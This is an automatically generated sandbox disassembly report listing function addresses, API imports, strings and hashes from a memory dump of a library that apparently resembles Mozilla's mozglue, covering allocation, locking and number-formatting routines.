Part of subcall function 6C524290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C563EBD,6C563EBD,00000000), ref: 6C5242A9

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 14e0d1622056fb7987918b3341164276bac3b55409c87ffa7c75e1bc3f0f565f
Instruction ID: a540361fc4d4028cea38b37789b7e3b1fe13ac8cfdf68da327a7f6ef2b2ea202
Opcode Fuzzy Hash: 14e0d1622056fb7987918b3341164276bac3b55409c87ffa7c75e1bc3f0f565f
Instruction Fuzzy Hash: 6B41A2719047469BD300DF29D88056AFBF4FFC9254F604A1EE4A987680DB70D959CB92

Function 6C566470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5682BC,?,?), ref: 6C56649B

Part of subcall function 6C53CA10: malloc.MOZGLUE(?), ref: 6C53CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5664A9

Part of subcall function 6C55FA80: GetCurrentThreadId.KERNEL32 ref: 6C55FA8D
Part of subcall function 6C55FA80: AcquireSRWLockExclusive.KERNEL32(6C5AF448), ref: 6C55FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C56653F
free.MOZGLUE(?), ref: 6C56655A

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 319742681dc8e5de7827de3fae5ed62d6791ffb06b4ded092862fc051d2254dc
Instruction ID: a73f62504704527b547513a89a8a926e08ea8e42ad3901dc4a58c75cfdd761c3
Opcode Fuzzy Hash: 319742681dc8e5de7827de3fae5ed62d6791ffb06b4ded092862fc051d2254dc
Instruction Fuzzy Hash: 3F317EB5A043059FDB00CF25D884A9ABBE4FFD8314F41442EE89A97751EB30E918CB92

Function 6C55FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C57D019,?,?,?,?,?,00000000,?,6C56DA31,00100000,?), ref: 6C55FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C57D019,?,?,?,?,?,00000000,?,6C56DA31,00100000,?,?), ref: 6C55FFF5
free.MOZGLUE(?,?,?,?,?,6C57D019,?,?,?,?,?,00000000,?,6C56DA31,00100000,?), ref: 6C56001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C57D019,?,?,?,?,?,00000000,?,6C56DA31,00100000,?,?), ref: 6C56002A

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 74eb0fcc304367b201db6120179f7a427646c89b5ae6be2ea7331a0cbc0cc3d4
Instruction ID: 90f80cf7cef7d689f82b6af5f626108eb93edabf1fd629a16222f337a031e76f
Opcode Fuzzy Hash: 74eb0fcc304367b201db6120179f7a427646c89b5ae6be2ea7331a0cbc0cc3d4
Instruction Fuzzy Hash: 2B2106B2A002159FC7089E789C948AFB7BAFBC53243250339E525D7B80EB31AD1183E0

Function 6C53B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C53B4F5
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C53B502
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C53B542
free.MOZGLUE(?), ref: 6C53B578

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: efdb5a545398cda0e3c30d4129063b04eec076dbf87a9eb91b9d3ab5c69ed5de
Instruction ID: 80061e7219da28006162c442a8c52b1f3b94eac48e1c0d7580765d054bfa0104
Opcode Fuzzy Hash: efdb5a545398cda0e3c30d4129063b04eec076dbf87a9eb91b9d3ab5c69ed5de
Instruction Fuzzy Hash: EB11F030A04B04CBC3119FAAEC00769B3B0FF96318F15A70AD84952A02FBB1A1D587A4

Function 6C563DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C52F20E,?), ref: 6C563DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C52F20E,00000000,?), ref: 6C563DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C563E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C563E0E

Part of subcall function 6C55CC00: GetCurrentProcess.KERNEL32(?,?,6C5231A7), ref: 6C55CC0D
Part of subcall function 6C55CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5231A7), ref: 6C55CC16

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: f60d6568ad38ddb7345331d69ab7db70c520f5f4df9b5ad55352fb05016e2b54
Instruction ID: 16c469bb8a6fe47c8b81c1a8d2516d55bcc3cb57cce170e73eb39ff41c8b024a
Opcode Fuzzy Hash: f60d6568ad38ddb7345331d69ab7db70c520f5f4df9b5ad55352fb05016e2b54
Instruction Fuzzy Hash: DDF01271500208BBDB04AB95EC41DAF376DEB86628F054021FD0857741E736BD2586FB

Function 6C572050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C57205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C57201B,?,?,?,?,?,?,?,6C571F8F,?,?), ref: 6C572064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C57208E
free.MOZGLUE(?,?,?,00000000,?,6C57201B,?,?,?,?,?,?,?,6C571F8F,?,?), ref: 6C5720A3

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: e4861b1c7902fdfc2675603e400b4f67cd4206121fa204e2e4733501257f3a89
Instruction ID: d50fc9830340c9a6469d9b14a26173df8b99c91a5bd1acc31a518cf057b7ab36
Opcode Fuzzy Hash: e4861b1c7902fdfc2675603e400b4f67cd4206121fa204e2e4733501257f3a89
Instruction Fuzzy Hash: 51F0B475100604DBC7219F17DC8CB5BBBF8EF86324F11011AE54687710C772A845CBEA

Function 6C5785B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5785D3

Part of subcall function 6C53CA10: malloc.MOZGLUE(?), ref: 6C53CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C578725

Strings

map/set<T> too long, xrefs: 6C578720

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 869304d8a425efa84f89efa3251edad51c2766ec0a29953b3afb842d7e3e6f25
Instruction ID: 62567c8c57ce4e424c704f408a8f8063f30bcab101f3216eb166fb56583d3d1d
Opcode Fuzzy Hash: 869304d8a425efa84f89efa3251edad51c2766ec0a29953b3afb842d7e3e6f25
Instruction Fuzzy Hash: B4515674600651DFD711CF18C884A59BBF1BF9A328F18C18AD8596BB52C335EC85CFA2

Function 6C52BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C52BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C52BE8F

Strings

0, xrefs: 6C52BE5B

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 0de53f2fbc0cb38fe4ad548df838810be8fd98a3e6c45508ffa125da4e70a850
Instruction ID: 6eba75a0495a513493731651426cc23480ea76c97841ba2ab5735b1316ea40a7
Opcode Fuzzy Hash: 0de53f2fbc0cb38fe4ad548df838810be8fd98a3e6c45508ffa125da4e70a850
Instruction Fuzzy Hash: 5841A271909745CFC701DF39C881A9BB7F4AF8A348F008E1DF986A7691D734D9598B82

Function 6C563CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C563D19
mozalloc_abort.MOZGLUE(?), ref: 6C563D6C

Strings

d, xrefs: 6C563D58

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: c4cec7b8635196b2f428dfe84f224237c2d01376a49514fc832b094797a9025b
Instruction ID: f1cdc296b032955d5b2b5d5537e348abe0a69387511065a46ada352ec2d15e38
Opcode Fuzzy Hash: c4cec7b8635196b2f428dfe84f224237c2d01376a49514fc832b094797a9025b
Instruction Fuzzy Hash: F8110431E04688D7DF009FAACC144EDB775EF86258B468219DC459BA22FB30A9C4C390

Function 6C534730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5344B2,6C5AE21C,6C5AF7F8), ref: 6C53473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C53474A

Strings

GetNtLoaderAPI, xrefs: 6C534744

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 7e11c2c5c3147039587805864a66c13b5481b0fb6dbc2598351d8af0beb3c313
Instruction ID: 2f176ae35658f9145f7c7dbd9ede0618c5ee0402a713b6a795bee0465fbaecfb
Opcode Fuzzy Hash: 7e11c2c5c3147039587805864a66c13b5481b0fb6dbc2598351d8af0beb3c313
Instruction Fuzzy Hash: E00192753002198FDF04AFA79C6861E7BF9EF8B311B06006AE905C7710EB70D8028F99

Function 6C586DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C586E22
__Init_thread_footer.LIBCMT ref: 6C586E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C586E1D

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 280adb7010439bb749a46acfac8e90e4dd5941cfb3de155791b7c94249c68b0b
Instruction ID: 2f85d6dda687963e12cd0dad991918bec53518c8cd1dc363da48041330132a5c
Opcode Fuzzy Hash: 280adb7010439bb749a46acfac8e90e4dd5941cfb3de155791b7c94249c68b0b
Instruction Fuzzy Hash: 29F0F030606240CBDB108AEAEC50A9A33716352218F050366C41187B71CB31A916CBA7

Function 6C539E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C539EEF

Strings

NaN, xrefs: 6C539EC1
Infinity, xrefs: 6C539EB7

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 7a29951340385693cdb05216a6d6f112419f2e4df70ba74c4b49bcfc4ecc5dc4
Instruction ID: 2fb874e0a602e7108abf21129bd85c0e1743fb150789bffdb1c19eb59a1aa93e
Opcode Fuzzy Hash: 7a29951340385693cdb05216a6d6f112419f2e4df70ba74c4b49bcfc4ecc5dc4
Instruction Fuzzy Hash: FAF0AFB0600242CADB128FDAFC4575837B1A343319F220B55C5040AB80E7756556CB9E

Function 6C536C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KVl,?,6C564B30,80000000,?,6C564AB7,?,6C5243CF,?,6C5242D2), ref: 6C536C42

Part of subcall function 6C53CA10: malloc.MOZGLUE(?), ref: 6C53CA26

moz_xmalloc.MOZGLUE(0KVl,?,6C564B30,80000000,?,6C564AB7,?,6C5243CF,?,6C5242D2), ref: 6C536C58

Strings

0KVl, xrefs: 6C536C33, 6C536C41, 6C536C57

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KVl
API String ID: 1967447596-88445501
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 328b127e8cf02fbe09aada0060b62e55805df0417ae454818242f4f828233baa
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: A0E026F1A103284ADB09D8799C0A52A73C8EBB42A87045A3DE82AC2BC8FF54E8608051

Function 6C533850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C5AF860), ref: 6C53385C
ReleaseSRWLockExclusive.KERNEL32(6C5AF860,?), ref: 6C533871

Strings

,Zl, xrefs: 6C53387A

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Zl
API String ID: 17069307-3891240898
Opcode ID: c38281d808ae66f51b817bf3f300e52bc0cd183fccc5a79f3684f376dcfb22fa
Instruction ID: a96623c2e53f79d1798fe5f326156022941a0cd07e7ae4ded66ab37cd0e0db9e
Opcode Fuzzy Hash: c38281d808ae66f51b817bf3f300e52bc0cd183fccc5a79f3684f376dcfb22fa
Instruction Fuzzy Hash: 3CE0DF32902A2DA78711AFE7AC0158EBFB8EE837903065205E80D27A00D771944287C9

Function 6C53BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C53BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C53BEF5

Strings

cryptbase.dll, xrefs: 6C53BEF0

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 60cae08374a72211e373a15a2a9db08633b974137457fd0ae9f90a38b2e30c5c
Instruction ID: 697efec28cf9e27462f8e319c45253c485b8246ab62f2ddc59a222bfe8921d17
Opcode Fuzzy Hash: 60cae08374a72211e373a15a2a9db08633b974137457fd0ae9f90a38b2e30c5c
Instruction Fuzzy Hash: C2D0A73118050CEACA00BAD59C05B1D3BB49701315F10C020F30944991D7B19410DB84

Function 6C57B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C57B2C9,?,?,?,6C57B127,?,?,?,?,?,?,?,?,?,6C57AE52), ref: 6C57B628

Part of subcall function 6C5790E0: free.MOZGLUE(?,00000000,?,?,6C57DEDB), ref: 6C5790FF
Part of subcall function 6C5790E0: free.MOZGLUE(?,00000000,?,?,6C57DEDB), ref: 6C579108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C57B2C9,?,?,?,6C57B127,?,?,?,?,?,?,?,?,?,6C57AE52), ref: 6C57B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C57B2C9,?,?,?,6C57B127,?,?,?,?,?,?,?,?,?,6C57AE52), ref: 6C57B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C57B127,?,?,?,?,?,?,?,?), ref: 6C57B74D

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9306e3f9066fa811c862a7105e35682907913b8b38d576af2e07d3bf3e7fa6d8
Instruction ID: 578800c04bd93028f8c34c24bc3937ee0da202ba7bd195635ab8b724734c63ed
Opcode Fuzzy Hash: 9306e3f9066fa811c862a7105e35682907913b8b38d576af2e07d3bf3e7fa6d8
Instruction Fuzzy Hash: 7051DDB1A01216CFDB24EF59CD8466EB7B1FF85304F06852DC95AAB700DB35A884CBB1

Function 6C57DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C56FF2A), ref: 6C57DFFD

Part of subcall function 6C5790E0: free.MOZGLUE(?,00000000,?,?,6C57DEDB), ref: 6C5790FF
Part of subcall function 6C5790E0: free.MOZGLUE(?,00000000,?,?,6C57DEDB), ref: 6C579108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C56FF2A), ref: 6C57E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C56FF2A), ref: 6C57E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C56FF2A), ref: 6C57E0FE

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 37109972111db0156cb1af1df607f268fad3d24301621b3e751c75c127d240b7
Instruction ID: 921d5600f66bc9c5042216fc1b4c578b8ead093bb569b66ddf43b708f63b3168
Opcode Fuzzy Hash: 37109972111db0156cb1af1df607f268fad3d24301621b3e751c75c127d240b7
Instruction Fuzzy Hash: FB41BFB16043168FEB24CF68DC8479E73B2BB45308F154939D516DB740E7B2E984CBA2

Function 6C576E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C576EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C576EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C576F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C576F5C

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
